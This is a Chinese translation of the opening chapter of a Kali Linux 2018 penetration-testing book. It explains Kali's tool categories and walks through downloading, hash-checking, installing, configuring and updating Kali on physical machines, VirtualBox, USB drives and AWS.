Kali-Linux-2018:通过渗透测试确保安全(全)

Kali Linux 2018:通过渗透测试确保安全(全)

原文:annas-archive.org/md5/9DD5BABA897F5FE8AD4CCDC0C9A2594A

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

这本书现已出版第四版,使用了更新的 Kali Linux 2018 以及行业内专业渗透测试人员和安全专家使用的许多新工具。多年来,Kali Linux 已被证明是每个渗透测试人员的首选工具,本书通过实践实验室为读者提供深入的知识,让他们能够在一个安全的环境中深入了解渗透测试的领域。

这本书适合谁

本书面向渗透测试人员、道德黑客和具有 Unix/Linux 操作系统基础知识的 IT 安全专业人员。预期具备一定的信息安全概念的认识和知识。

要充分利用这本书

这本书涵盖了许多主题,尽管作者已经尽力解释这些主题,但读者可能希望复习一些关于网络和安全的基本主题,以更好地理解本书中教授的概念。

其中一些主题包括以下内容:

  • OSI 模型的七层

  • TCP/IP 套件

  • TCP 三次握手

  • 协议和端口号

  • 无线基础知识(802.11 a、b、g、n、ac)、WEP 和 WPA2

  • 基本的 Linux 命令(包括lscdclear

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。例如:“将下载的WebStorm-10*.dmg磁盘映像文件挂载为系统中的另一个磁盘。”

任何命令行输入或输出都以以下形式书写:

Nmap 172.16.54.144 –sV 

粗体:表示一个新术语、一个重要词或者屏幕上显示的词。例如,菜单或对话框中的单词会在文本中以这种方式出现。例如:“从管理面板中选择系统信息。”

警告或重要说明会以这种形式出现。

技巧和窍门会以这种形式出现。

第一章:安装和配置 Kali Linux

本章将指导您了解专门用于渗透测试目的的 Kali Linux 2018.2 的精彩世界。在本章中,我们将涵盖以下主题:

  • Kali 的简要历史

  • Kali 的几个常见用途

  • 下载和安装 Kali

  • 配置和更新 Kali

技术要求

在本章和整本书中,读者将需要一台配备 6GB 或更多 RAM 的笔记本电脑或台式机,以及 100GB 硬盘空间,如果要将 Kali Linux 和测试实验室环境安装为虚拟机。如果要在闪存驱动器或 SD/micro-SD 卡上安装 Kali,最小存储空间应为 8GB(建议为 16GB 或更多)。读者还需要下载以下内容:

Kali Linux 工具类别

截至目前,Kali Linux 的最新版本是 2018.2 版,发布于。正如官方网站bugs.kali.org/changelog_page.php上所列出的,这个版本包括:

  • 对 AMD GPU 的更好支持

  • 针对 Spectre 和 Meltdown 漏洞的 x86 和 x64 架构修复

  • 更容易访问 Metasploit,使用metasploit-framework-4.16.34-0Kali2和更新版本

  • 更新工具,包括 Bloodhound v1.51、Reaver 1.6.4、PixieWPS 1.42、BurpSuite 1.7.32、Hashcat 4.0 等

  • Wpscan、Openvas、Xplico、Responder 和 Dradis 的改进

Kali Linux 包含许多工具,可在渗透测试过程中使用。Kali Linux 中包含的渗透测试工具可以分为以下几类:

  • 信息收集:这个类别包含几个工具,可用于收集有关 DNS、IDS/IPS、网络扫描、操作系统、路由、SSL、SMB、VPN、VoIP、SNMP、电子邮件地址和 VPN 的信息。

  • 漏洞评估:在这个类别中,您可以找到用于一般漏洞扫描的工具。它还包含用于评估 Cisco 网络的工具,以及用于评估几个数据库服务器中的漏洞的工具。这个类别还包括几个模糊测试工具。

  • Web 应用程序:这个类别包含与 Web 应用程序相关的工具,如内容管理系统扫描器、数据库利用、Web 应用程序模糊器、Web 应用程序代理、Web 爬虫和 Web 漏洞扫描器。

  • 数据库评估:这个类别中的工具测试各种数据库的安全性。有许多专门设计用于测试 SQL 数据库的工具。

  • 密码攻击:在这个类别中,您将找到几个工具,可以用来执行在线或离线密码攻击。

  • 无线攻击:测试无线安全性变得越来越普遍。这个类别包括攻击蓝牙、RFID/NFC 和无线设备的工具。

  • 利用工具:这个类别包含可以用来利用目标环境中发现的漏洞的工具。您可以找到用于网络、Web 和数据库的利用工具。还有用于进行社会工程攻击和查找利用信息的工具。

  • 嗅探和欺骗:这个类别中的工具可用于嗅探网络和 Web 流量。这个类别还包括网络欺骗工具,如 Ettercap 和 Yersinia。

  • 后期利用:这个类别中的工具将能够帮助您保持对目标机器的访问。在安装这个类别中的工具之前,您可能需要在机器中获得最高的特权级别。在这里,您可以找到用于在操作系统和 Web 应用程序中设置后门的工具。您还可以找到用于隧道的工具。

  • 取证:这个类别包含执行数字取证获取、数据恢复、事件响应和文件切割的工具。

  • 报告工具:在这个类别中,您将找到帮助您记录渗透测试过程和结果的工具。

  • 社会工程工具:这个类别包含非常强大的 Maltego 和社会工程工具包SET),等等,这些在渗透测试的侦察和利用阶段非常有用。

  • 系统服务:这个类别包含在渗透测试任务中可能有用的几个服务,比如 Apache 服务、MySQL 服务、SSH 服务和 Metasploit 服务。

为了简化渗透测试人员的生活,Kali Linux 为我们提供了一个名为前 10 安全工具的类别。顾名思义,这些是渗透测试人员最常用的前 10 个安全工具。这个类别中包含的工具有aircrack-ngburp-suitehydrajohnmaltegometasploitnmapsqlmapwiresharkzaproxy

除了包含用于渗透测试任务的工具之外,Kali Linux 还提供了一些工具,您可以用于以下目的:

  • 逆向工程:这个类别包含可以用来调试程序或反汇编可执行文件的工具。

  • 压力测试:这个类别包含可以用于帮助您对网络、无线、Web 和 VOIP 环境进行压力测试的工具。

  • 硬件黑客:这个类别中的工具可以用于处理 Android 和 Arduino 应用程序。

  • 取证:这个类别中的工具可以用于各种数字取证任务。这包括对磁盘进行成像、分析内存映像和文件切割。Kali Linux 提供的最好的取证工具之一是 Volatility。这个命令行工具有许多功能用于分析内存映像。还有一些可用的 GUI 工具,比如 Autopsy 和 Guymager,还有已经修复的 Xplico。

为了本书的目的,我们只关注 Kali Linux 的渗透测试工具。

下载 Kali Linux

在安装和使用 Kali Linux 之前,首先要做的事情是下载它。您可以从 Kali Linux 网站(www.kali.org/downloads/)获取 Kali Linux。

在下载页面上,您可以根据以下项目选择官方的 Kali Linux 镜像:

机器架构:i386、x64 和 armhf

VMware、VirtualBox 和 Hyper-V 的镜像也可以从 Offensive Security 下载页面www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/下载,如下面的截图所示:

这些镜像文件可以直接下载或者通过种子作为 OVA、ZIP 和 7-Zip 文件下载

Kali Linux 自定义 ARM 下载可以从www.offensive-security.com/kali-linux-arm-images/下载。可以通过点击设备名称右侧的箭头下载 Chromebook、Raspberry Pi 等设备的镜像。

Kali NetHunter v3.o 可以从 Offensive Security 网站www.offensive-security.com/kali-linux-nethunter-download/下载。

有关选择、安装和使用适当版本的 NetHunter 的更多信息将在后面的章节中讨论:

Kali Linux Nethunter 下载页面

如果您想要将图像刻录到 DVD 上或在您的机器上安装 Kali Linux,您可能需要下载 ISO 图像版本。但是,如果您想要在虚拟环境中使用 Kali Linux,如 VirtualBox、VMWare 或 Hyper-V,您可以使用相关的图像文件来加快虚拟环境的安装和配置,可在www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/上找到。

成功下载图像文件后,您需要将下载的图像的 SHA 哈希值与下载页面上提供的sha256sum哈希值进行比较。检查 SHA-256 值的目的是确保下载的图像的完整性得到保留。这可以防止用户安装损坏的图像或被恶意篡改的图像文件。

在 UNIX/Linux/BSD 操作系统中,您可以使用sha256sum命令来检查已下载图像文件的 SHA-256 哈希值。请记住,由于其大小,计算 Kali Linux 图像文件的哈希值可能需要一些时间。例如,要生成kali-linux-2018.2-amd64.iso文件的哈希值,使用以下命令:

sha256sum kali-linux-2018.2-amd64.iso

对于 Windows 用户,Raymond Lin 创建的一个小型免费工具,称为 MD5 和 SHA 校验工具,可以使用。此工具计算文件的 MD5、SHA-1、SHA-256 甚至 SHA-512 哈希,并允许比较和验证哈希。

MD5 和 SHA 校验工具可在以下网址下载:download.cnet.com/MD5-SHA-Checksum-Utility/3000-2092_4-10911445.html。下载并运行后,单击“浏览”按钮,浏览到下载文件的路径。在这种情况下,我将使用我的kali-linux-2018.2-amd64.iso文件,如下图所示:

在上述截图中,kali-linux-2018.2-amd64.iso文件的哈希也是从 Kali Linux 下载页面复制并粘贴到哈希字段进行验证。单击“验证”按钮以比较和验证 SHA-256 哈希:

SHA-256 哈希匹配

如果两个值匹配,您可以直接转到使用 Kali Linux部分。但是,如果它们不匹配,这意味着您的图像文件损坏了;您可能需要从官方下载镜像再次下载文件。当我们运行我们下载的文件的哈希并将其与网站上的哈希进行比较时,我们看到它们匹配,表明软件包已完全下载并且完整。

使用 Kali Linux

您可以以以下方式之一使用 Kali Linux:

  • 您可以直接从 Live DVD 上运行 Kali Linux

  • 您可以在硬盘上安装 Kali Linux,然后运行它

  • 您可以在 USB 磁盘上安装 Kali Linux(作为便携式 Kali Linux)

在接下来的章节中,我们将简要描述每种方法。

使用 Live DVD 运行 Kali

如果您想要在不先安装的情况下使用 Kali Linux,可以将 ISO 图像文件刻录到 DVD 上。刻录过程成功完成后,使用该 DVD 启动您的机器。您需要确保已将机器设置为从 DVD 启动。

使用 Kali Linux 作为 Live DVD 的优势在于设置非常快速,使用非常简单。

不幸的是,Live DVD 有一些缺点;例如,任何文件或配置更改在重新启动后将不会被保存。此外,与从硬盘上运行 Kali Linux 相比,从 DVD 上运行 Kali Linux 速度较慢,因为 DVD 的读取速度比硬盘的读取速度慢。

这种运行 Kali 的方法只建议用于测试 Kali。但是,如果您想广泛使用 Kali Linux,我们建议您安装 Kali Linux。

在硬盘上安装

要在硬盘上安装 Kali Linux,您可以选择以下方法之一:

  • 在物理/真实机器上安装(常规安装)

  • 在虚拟机上安装

您可以选择适合您的任何方法,但我们个人更喜欢在虚拟机上安装 Kali Linux。

在物理机器上安装 Kali

在您在物理/真实机器上安装 Kali Linux 之前,请确保您将其安装在空的硬盘上。如果您的硬盘上已经有一些数据,那么在安装过程中这些数据将会丢失,因为安装程序将格式化硬盘。为了最简单的安装,建议您使用整个硬盘。对于更高级的设置,有在单个逻辑驱动器的分区上安装 Kali Linux 的选项。要做到这一点,您将需要一个引导操作系统的主分区和另一个用于 Kali Linux 的分区。在这样做时要小心,因为引导操作系统很容易变得损坏。

有关如何在 Windows 操作系统上安装 Kali Linux 的官方 Kali Linux 文档可以在docs.kali.org/installation/dual-boot-kali-with-windows找到。

有几种工具可用于帮助您执行磁盘分区。在开源领域,以下 Linux Live CD 可用:

要使用 Linux Live CD,您只需要启动它,然后您就可以进行磁盘分区了。在使用 Linux Live CD 磁盘分区工具之前,请确保备份您的数据。尽管根据我们的经验它们是安全的,但谨慎起见也没什么不对,特别是如果您的硬盘上有重要数据。

在完成磁盘分区后(或者您只想使用整个硬盘空间),您可以使用 Kali Linux Live DVD 启动您的机器,并在 Kali Linux Live CD 菜单提示您选择安装或图形安装选项时选择它:

Kali Linux 启动画面-选择图形安装

之后,您将看到一个安装窗口。在安装过程中,您需要设置几个事项:

  1. 设置语言:默认是英语。

  2. 选择位置:使用下拉菜单选择您的国家。

  3. 配置键盘:选择最适合您需求的键盘。

  4. 系统的主机名:默认是 Kali。对于初学者,您可以保留默认设置。主机名通常在企业环境中使用,需要对连接到网络的所有系统进行核算。

  5. 设置域:对于初学者,这应该留空。只有在安装要成为网络域的一部分时才会使用。

  6. 设置密码:这将是 ROOT 帐户的密码。选择一个强密码,不要分享它,也不要忘记它。

  7. 配置时钟:选择您的时区。

  8. 分区磁盘:安装程序将指导您完成磁盘分区过程。如果您使用空的硬盘,只需选择默认的 Guided - use entire disk 选项以方便起见。如果您的机器上已安装了其他操作系统,您可能首先想为 Kali Linux 创建一个单独的分区,然后在此菜单中选择手动。选择适当的菜单后,安装程序将创建分区。

  9. 安装程序将询问您有关分区方案;默认方案是所有文件在一个分区中。请记住,如果要将文件存储在主目录中,应选择单独的/home 分区,以便在重新安装系统时不会删除这些文件。/home 分区的大小确实取决于您的需求。如果要将所有数据放在该目录中,可能需要一个较大的分区大小(超过 50GB)。对于一般使用,您可以选择 10 到 20GB。

  10. 对于初学者,建议选择“引导-使用整个磁盘”选项。然后,选择要安装 Kali Linux 的磁盘。选择所有文件在一个分区。

  11. 安装程序将显示当前配置的分区概述,如下截图所示:

  1. 确保选择“完成分区并将更改写入磁盘”,然后单击“继续”。最后,单击“是”单选按钮,然后单击“继续”以将更改写入磁盘。

  2. 网络镜像:对于初学者,选择否。我们将介绍如何更新 Kali Linux。

  3. 接下来,安装程序将安装 Kali Linux 系统。安装将在几分钟内完成,然后您将在硬盘上安装了 Kali Linux。在我们的测试机器上,安装大约需要 20 分钟。

  4. 安装完成后,安装程序将要求您配置软件包管理器。接下来,它将要求您将 GRUB 安装到主引导记录(MBR)。您可以只选择这两个问题的默认值。注意:如果在同一台机器上有其他操作系统,则不应选择将 GRUB 安装到 MBR。

  5. 如果看到以下消息,表示您的 Kali 安装已完成:

  1. 您可以通过选择“继续”按钮重新启动机器以测试新的 Kali 安装。重新启动后,您将看到以下 Kali 登录屏幕。您可以使用在安装过程中配置的凭据登录。默认用户名是root

默认密码是toor

在虚拟机上安装 Kali

您还可以将 Kali Linux 安装在虚拟机环境中作为客户操作系统。这种安装类型的优点是您无需为 Kali Linux 镜像准备单独的物理硬盘分区,并且可以直接使用现有的操作系统。

我们将使用VirtualBoxwww.virtualbox.org)作为虚拟机软件。VirtualBox 是一款开源虚拟化软件,适用于 Windows、Linux、OS X 和 Solaris 操作系统。

不幸的是,在虚拟机上运行 Kali Linux 也有一个缺点;它比在物理机器上运行 Kali Linux 要慢。

有两种选项可用于在虚拟机上安装 Kali Linux。第一种选项是将 Kali Linux ISO 镜像安装到虚拟机中。与 VMware 镜像安装相比,这种选项需要更多时间。这种方法的优点是可以自定义 Kali 的安装。

从 ISO 镜像在虚拟机上安装 Kali

要在虚拟机上安装 Kali Linux ISO 镜像,可以按照以下步骤进行:

  1. 通过从 VirtualBox 工具栏菜单中选择“新建”来创建新的虚拟机:

  1. 之后,您需要定义虚拟机的名称和操作系统类型。在这里,我们将 VM 的名称设置为Kali Linux,并选择 Linux 作为操作系统类型,Debian 作为版本。

  2. 然后,您需要定义 VM 的基本内存大小。您提供的内存越多,虚拟机就越好。在这里,我们为 Kali Linux 虚拟机分配了 2,048 MB 的内存。请记住,您不能将所有物理内存都分配给 VM,因为您仍然需要内存来运行主机操作系统:

  1. 接下来,您将被要求创建一个虚拟硬盘。您可以选择 VDI 作为硬盘类型,以及一个动态分配的虚拟磁盘文件。我们建议至少创建一个 32 GB 的虚拟硬盘。如果您想以后安装一些软件包,您可能需要创建一个更大的虚拟硬盘。选择现在创建虚拟硬盘并点击创建:

  1. 现在选择文件位置和大小。点击创建:

  1. 阅读对话框,然后点击继续。

  2. 之后,您新创建的 VM 将在 VirtualBox 菜单中列出:

  1. 双击新的 Kali Linux VM:

  1. 使用文件图标,导航到您选择的 Kali Linux 2018.2 ISO 的位置。选择后,点击开始。

  2. 一旦安装开始,请按照之前安装 Kali Linux 2.0 的部分中定义的指示进行操作。

使用提供的 Kali Linux VM 镜像在虚拟机上安装 Kali Linux

第二个选项是使用 Kali Linux 提供的 VMware 镜像。

通过这个选项,您可以轻松地在虚拟机上安装 Kali Linux;它位于 Kali Linux 下载页面上:www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/

虚拟平台上可用的 Kali 镜像列表

点击 Kali 虚拟镜像后,我们将被带到另一页,列出了 Offensive Security 页面上软件包及其相关的sha256sum值:

下载 Kali Linux VMware 镜像(kali-linux-2018.2-vm-amd64.zip)后,您需要验证已下载文件的 SHA256 哈希值与下载页面上提供的哈希值是否相同。如果哈希值相同,您可以将镜像文件提取到适当的文件夹中。

由于 VMware 镜像以 ZIP 格式压缩,您可以使用任何可以提取.gz文件的软件,如gzip,或者如果您使用 Windows 操作系统,可以使用7-Zip。如果您成功提取,您将在目录中找到 13 个文件:

  1. 要使用此 VM 镜像文件创建新的虚拟机,请从 VirtualBox 图标工具栏中选择新建。

  2. 我们将使用 Kali Linux VM 作为 VM 名称,并选择 Linux 作为操作系统,Debian 作为版本。

  3. 我们将 Kali Linux 虚拟机的内存大小配置为 2,048 MB。

  4. 接下来,我们定义虚拟硬盘为使用现有的虚拟硬盘文件。然后,我们选择kali-linux-2018.2-vm-amd64.vmdk文件作为硬盘。之后,我们选择创建以创建虚拟机,如下截图所示:

以下是 Kali Linux VMware 镜像的默认配置:

  • 硬盘大小:30 GB

  • 网络类型:NAT

  • 用户名:root

  • 密码:toor

为了渗透的目的,我们应该避免使用 NAT 作为网络类型。推荐的网络类型是桥接。在配置 Kali VM 时更改 Kali 的默认密码。

如果成功,您将在 Virtual Box 的虚拟管理器列表中看到新的虚拟机。

要运行 Kali Linux 虚拟机,请点击 VirtualBox 菜单栏顶部的启动图标。启动过程后,Kali Linux 将显示其登录提示。

如果有任何错误消息,请安装 VirtualBox 扩展包。您可以从www.virtualbox.org/wiki/Downloads.获取。

单击“确定”将带您到以下对话框:

请继续点击“安装”,然后点击“确定”。

保存或移动虚拟机

使用 Kali Linux 作为虚拟机的另外两个优点是,首先是虚拟机可以被暂停的便利性。暂停虚拟机允许您暂停活动而不会丢失任何工作。例如,如果您必须关闭主机系统而虚拟机仍在处理某个操作,暂停它将允许您在离开的地方继续。要暂停虚拟机,请单击位于虚拟机窗口左上角的“暂停”按钮。

虚拟机的另一个功能是能够将其从一个主机移动到另一个主机。如果您需要更改主机系统,例如从笔记本电脑运行然后移动到更新更强大的笔记本电脑,这将非常方便。这可以确保您所做的任何配置或修改保持不变,这样您就不必再次进行整个过程。

要导出虚拟机,转到“文件”并单击“导出虚拟机”。然后将引导您导出 Kali Linux 虚拟机。选择要导出的位置并保持应用程序设置不变。最后,单击“导出”,虚拟机将被导出到该位置。这可能需要一些时间,具体取决于虚拟机的大小。

导出完成后,您可以使用任何存储设备并将虚拟机转移到另一个主机系统。请记住,如果您使用 Oracle VirtualBox 创建虚拟机,请在新主机计算机上使用相同的版本。转移后,您可以通过转到“文件”、“导入虚拟机”并按照说明操作来导入虚拟机。

在 USB 磁盘上安装 Kali

使用 Kali Linux 的第三种选择是将其安装在 USB 闪存盘上;我们称这种方法为便携式 Kali Linux。根据官方 Kali 文档,这是 Kali 开发人员最喜欢和最快的引导和安装 Kali 的方法。与硬盘安装相比,使用此方法可以在支持从 USB 闪存盘引导的任何计算机上运行 Kali Linux。

USB 闪存盘的安装过程也适用于安装存储卡(SSD、SDHC、SDXC 等)。

有几种工具可用于创建便携式 Kali Linux。其中之一是Rufus (rufus.akeo.ie/)。此工具仅可在 Windows 操作系统上运行。

您可以使用其他工具从 ISO 镜像创建可引导磁盘,例如:

在创建便携式 Kali Linux 之前,您需要准备一些东西:

  • Kali Linux ISO 镜像:尽管您可以使用便携式创建工具在制作 Kali Linux 便携式时直接下载镜像,但我们认为最好先下载 ISO,然后配置 Rufus 使用镜像文件。

  • USB 闪存盘:您需要一个空的 USB 闪存盘,并且有足够的空间。我们建议使用至少 16GB 的 USB 闪存盘。

下载 Rufus 后,您可以通过双击rufus.exe文件在 Windows 计算机上运行它。然后您会看到 Rufus 窗口。

如果您使用基于 UNIX 的操作系统,可以使用dd命令创建镜像。以下是一个成像的例子:

    dd if=kali-linux-2.0-i386.iso of=/dev/sdb bs=512k

在这里,/dev/sdb是您的 USB 闪存盘。

要创建可引导的 Kali USB 闪存盘,我们需要填写以下选项:

  1. 对于设备,我们选择 USB 闪存盘的位置。在我的情况下,这是我 Windows 系统中的 E 驱动器。

  2. 对于分区方案和目标系统类型,请将其设置为 MBR 分区方案,适用于 BIOS 或 UEFI 计算机。

  3. 在“使用 ISO 映像创建可引导磁盘”选项中,将值设置为 ISO 映像,并使用磁盘图标选择 ISO 映像:

  1. 单击“开始”创建可引导映像。

进程完成后,首先保存所有工作,然后重新启动系统,如果要立即尝试 USB 闪存盘。您可能需要配置您的基本输入输出系统BIOS)以从 USB 磁盘引导。如果没有错误,您可以从 USB 闪存盘启动 Kali Linux。

Rufus 也可以用于在 SD 卡上安装 Kali Linux。请务必使用 Class 10 SD 卡以获得最佳效果。

如果您想要为 USB 闪存盘添加持久性功能,可以按照文档部分向您的 Kali Live USB 添加持久性中描述的步骤进行操作,位于docs.kali.org/installation/kali-linux-live-usb-install

配置虚拟机

安装后,Kali Linux 虚拟机需要进行几个配置步骤。这些步骤可以提供更大的功能和可用性。

VirtualBox 增强功能

建议在使用 VirtualBox 成功创建 Kali Linux 虚拟机后,安装VirtualBox 增强功能。此附加组件将为您提供以下附加功能:

  • 它将使虚拟机可以全屏查看

  • 这将使鼠标在虚拟机中移动更快

  • 它将使您能够在主机和客户机之间复制和粘贴文本

  • 它将使客户机和主机机器可以共享文件夹

要安装增强功能,执行以下步骤:

  1. 从 VirtualBox 菜单导航到设备|安装增强功能。然后,您将看到 VirtualBox 增强功能文件被挂载为磁盘。

  2. VirtualBox 随后将显示以下消息。单击“取消”关闭窗口:

  1. 打开终端控制台并更改 VirtualBox 增强功能 CD ROM 挂载点(/media/cdrom0):

  1. 执行VBoxLinuxAdditions.run来运行 VirtualBox 增强功能安装程序,输入sh ./VBoxLinuxAdditions.run,如下所示:

您可能需要等待几分钟,直到所有所需的模块都成功构建和安装。按照以下步骤将 VM 切换到全屏模式:

  1. 切换到root主目录。

  2. 通过右键单击图标并从菜单中选择“弹出”来弹出 VBoxAdditions CD 映像。如果成功,VBoxAdditions 图标将从桌面消失。

  3. 在终端控制台中键入reboot命令重新启动虚拟机。

  4. 重新启动后,您可以从 VirtualBox 菜单中切换到全屏(查看|切换到全屏)。

设置网络

在接下来的部分中,我们将讨论如何为 Kali Linux 设置有线和无线网络。

设置有线连接

在默认的 Kali Linux VMware 映像或 ISO 配置中,Kali Linux 使用网络地址转换NAT)作为网络连接类型。在此连接模式下,Kali Linux 机器将能够通过主机操作系统连接到外部世界,而外部世界,包括主机操作系统,将无法连接到 Kali Linux 虚拟机。

对于渗透测试任务,您可能需要将此网络方法更改为桥接适配器。以下是更改它的步骤:

  1. 首先确保您已经关闭了虚拟机。

  2. 然后,打开 VirtualBox 管理器,选择适当的虚拟机——在本例中我们使用 Kali Linux 虚拟机——然后单击右侧的网络图标,并在适配器 1 中的附加到下拉框中从 NAT 更改为桥接适配器。在名称字段中,您可以选择连接到要测试的网络的网络接口,如下图所示:

要能够使用桥接网络连接,主机机器需要连接到可以通过 DHCP 为您提供 IP 地址的网络设备,例如路由器或交换机。

正如您可能知道的那样,DHCP IP 地址不是永久 IP 地址;它只是一个租约 IP 地址。在几次之后(在 DHCP 租约时间中定义),Kali Linux 虚拟机将需要再次获取租约 IP 地址。此 IP 地址可能与以前的相同,也可能是不同的。

如果要使 IP 地址永久,可以将 IP 地址保存在/etc/network/interfaces文件中。

以下是 Kali Linux 中此文件的默认内容:

  • auto lo

  • iface lo inet loopback

在默认配置中,所有网络卡都设置为使用 DHCP 获取 IP 地址。要使网络卡永久绑定到 IP 地址,我们必须编辑该文件并更改内容如下:

  • auto eth0

  • iface eth0 inet static

  • address 10.0.2.15

  • netmask 255.255.255.0

  • network 10.0.2.0

  • broadcast 10.0.2.255

  • gateway 10.0.2.2

在这里,我们将第一个网络卡(eth0)设置为绑定到10.0.2.15的 IP 地址。您可能需要根据要测试的网络环境调整此配置。

建立无线连接

通过将 Kali Linux 作为虚拟机运行,您无法使用嵌入在主机操作系统中的无线网卡。幸运的是,您可以使用外部基于 USB 的无线网卡。

在此演示中,我们使用 USB Ralink 无线网卡/外置天线(稍后将在关于无线渗透测试的部分进行无线天线选择的深入讨论):

  1. 要在 Kali 虚拟机中激活您的基于 USB 的无线网卡,将无线网卡插入 USB 端口,导航到设备| USB 设备,并从 VirtualBox 菜单中选择您的无线网卡:

在此截图中,我们可以看到列出的 USB 设备。

  1. 如果您的 USB 无线网卡已成功被 Kali 识别,您可以使用dmesg程序查看无线网卡的信息。确定您的无线设备是否正确连接的另一种选择是打开终端并运行以下命令:
 ifconfig

如果无线连接已正确配置,您应该在输出下看到WLAN0WLAN1的列表:

  1. 输出应包括 WLAN 的列表。这是无线网络连接。

  2. 在 Kali 菜单的右上部分,您将看到网络连接图标。您可以单击它以显示您的网络信息。

  3. 您将看到几个网络的名称,有线或无线,可供您的设备使用:

  1. 要连接到无线网络,只需通过双击其名称选择要连接的特定 SSID。如果无线网络需要身份验证,您将被提示输入密码。只有在您输入正确的密码后,才能连接到该无线网络。

更新 Kali Linux

Kali Linux 由数百个应用软件和操作系统内核组成。如果要获取最新功能,可能需要更新软件。我们建议您只从 Kali Linux 软件包存储库更新软件和内核。

成功安装和配置 Kali Linux 后,首先要做的是更新它。由于 Kali 基于 Debian,您可以使用 Debian 命令(apt-get)进行更新。

apt-get命令将查阅/etc/apt/sources.list文件以获取更新服务器。您需要确保已在该文件中放入正确的服务器。

要更新sources.list文件,请打开终端并键入以下命令:

leafpad /etc/apt/sources.list

从官方网站docs.kali.org/general-use/kali-linux-sources-list-repositories复制存储库,粘贴到 leafpad 中,并保存:

 deb http://http.kali.org/kali kali-rolling main contrib non-free
 # For source package access, uncomment the following line
 # deb-src http://http.kali.org/kali kali-rolling main contrib non-free 

在执行更新过程之前,您需要从/etc/apt/sources.list文件中指定的存储库同步软件包的索引文件。以下是此同步的命令:

    apt-get update  

确保在 Kali 中执行软件更新或安装之前始终运行apt-get更新。在软件包索引已同步后,您可以执行软件更新。

有两个命令选项可用于执行升级:

  • apt-get upgrade:此命令将把机器上当前安装的所有软件包升级到最新版本。如果在升级软件包时出现问题,该软件包将保持当前版本不变。

  • apt-get dist-upgrade:此命令将升级整个 Kali Linux 发行版;例如,如果要从 Kali Linux 1.0.2 升级到 Kali Linux 2.0,可以使用此命令。此命令将升级当前安装的所有软件包,并在升级过程中处理任何冲突;但是,可能需要执行一些特定操作才能执行升级。

在选择适当的命令选项以更新 Kali Linux 之后,apt-get程序将列出将要安装、升级或删除的所有软件包。apt-get命令将等待您的确认。

如果您确认,升级过程将开始。注意:升级过程可能需要很长时间才能完成,这取决于您的互联网连接速度。

在亚马逊 AWS 云上设置 Kali Linux AMI

Kali Linux 也可以作为亚马逊网络服务平台上的亚马逊机器映像AMI)在云中设置,作为云计算服务。尽管列为每小时 0.046 美元的费用,但如果特别配置为基本服务且用户未超出某些设定限制,则可以免费使用。虽然注册和配置需要信用卡,但如果超出设定限制,您将在被收费之前收到通知。

在开始在云中设置 Kali Linux 之前,您可以首先访问亚马逊市场,查看此链接中 AMI 的详细信息:aws.amazon.com/marketplace/pp/B01M26MMTT。请注意,它被列为免费使用。

要开始设置和配置云中的 Kali Linux,我们必须执行以下步骤:

  1. 首先,在亚马逊的 AWS 门户网站上创建一个帐户。访问aws.amazon.com/,然后单击“创建新帐户”。一定要记住使用的凭据以及您创建的 AWA 名称,如屏幕截图所示:

  1. 单击“继续”后,完成其他所需的详细信息。在输入信用卡详细信息时,您可能会提示亚马逊给您打电话,并要求您输入验证码以进行验证和安全目的。完成后,您将进入 AWS 控制台。

  2. 您还应该收到一封电子邮件通知,告知您的帐户已成功创建。您现在可以登录到 AWS 控制台,在那里您将能够完成配置。在“构建解决方案”部分,单击“启动虚拟机”:

  1. 在 AWS 控制台的 EC2 仪表板中,在左侧窗格中,点击网络和安全类别下的密钥对:

接下来,点击创建密钥对。

当提示时,输入密钥对的名称。建议您选择一个易于记住的名称和位置,因为您将需要此密钥对进行身份验证和验证:

将密钥对保存到您选择的目的地。请注意,密钥对扩展名列为.pem,并且还以十六进制格式显示数字指纹,如下所示:

保存密钥对后,返回 AWS 控制台,点击控制台顶部的资源组,然后选择启动虚拟机。在控制台左侧的菜单中,点击 AWS Marketplace,并在搜索栏中输入 Kali Linux,如下所示:

目前市场上只有一个 Kali Linux AMI 实例。请注意,它在 Kali 标志下列为免费使用资格。点击选择以使用此 AMI:

这将带我们进入 AMI 的各种实例类型的定价细节,这些实例类型包括 AMI 可用的内存和处理器使用等规格,T2 Nano 的每小时费率最低为$0.006/小时。查看完实例类型后,滚动到页面底部,然后点击继续:

对于免费版本,请选择t2 微型类型,因为这是用于一般用途,并且符合免费使用范围:

点击“审阅并启动”按钮。确认所选择的实例类型为t2.micro,然后点击启动:

现在应提示您使用之前保存的密钥对。在第一个下拉菜单中,选择选择现有的密钥对。在选择密钥对的菜单中,浏览到保存的密钥对的位置。点击复选框以确认条款,然后最后点击启动实例。

现在您将收到 Kali Linux AMI 的启动状态通知。如果您超出了 AWS 的免费使用范围,您还可以创建计费警报:

向下滚动并点击查看使用说明:

返回启动状态页面,点击在 AWS Marketplace 上打开您的软件。在软件订阅和 AMI 选项卡中,点击查看实例。

这将弹出一个框,显示实例的详细信息,包括 ID、操作系统信息和状态。在 AWS 控制台中点击管理:

点击连接按钮:

然后我们将看到连接到我们实例的可用选项,以及如何使用 SSH 客户端(如 PuTTY)进行连接的说明。请注意,在列出的示例中,密钥对的名称是Kali_AWS.pem。在通过 SSH 客户端连接时,请确保使用您在之前步骤中选择的密钥对名称:

现在我们需要一个独立的安全外壳SSH)客户端,以便能够连接到我们在云中的 Kali Linux 实例。我们将使用 Putty 作为我们的独立客户端,我们还需要 Puttygen,以便能够使用之前下载的密钥对对我们的云实例进行身份验证。Putty 和 Puttygen 都有 32 位和 64 位版本,可以从以下链接下载:www.chiark.greenend.org.uk/~sgtatham/putty/latest.html?

确保下载putty.exeputtygen.exe,它们是 Windows 可执行文件。我使用的机器是 64 位架构,因此我将使用 64 位版本。

下载完成后,首先运行puttygen.exe。单击“文件”,然后单击“加载私钥”。现在,浏览到您之前下载的密钥对文件。您可能需要将文件类型从PFF更改为所有文件,因为密钥文件是以较旧的.pem格式。

选择后,应提示您保存私钥以便以 Putty 的格式保存它。

定位到密钥后,单击“保存私钥”按钮:

现在,我们可以运行和配置Putty.exe,以便使用必要的设置连接到 AWS 云中的 Kali 实例。

在 Putty 的左窗格中的“会话”类别中,输入仪表板中“实例”类别中显示的公共 DNS URL。它应该看起来像屏幕截图中的 URL:

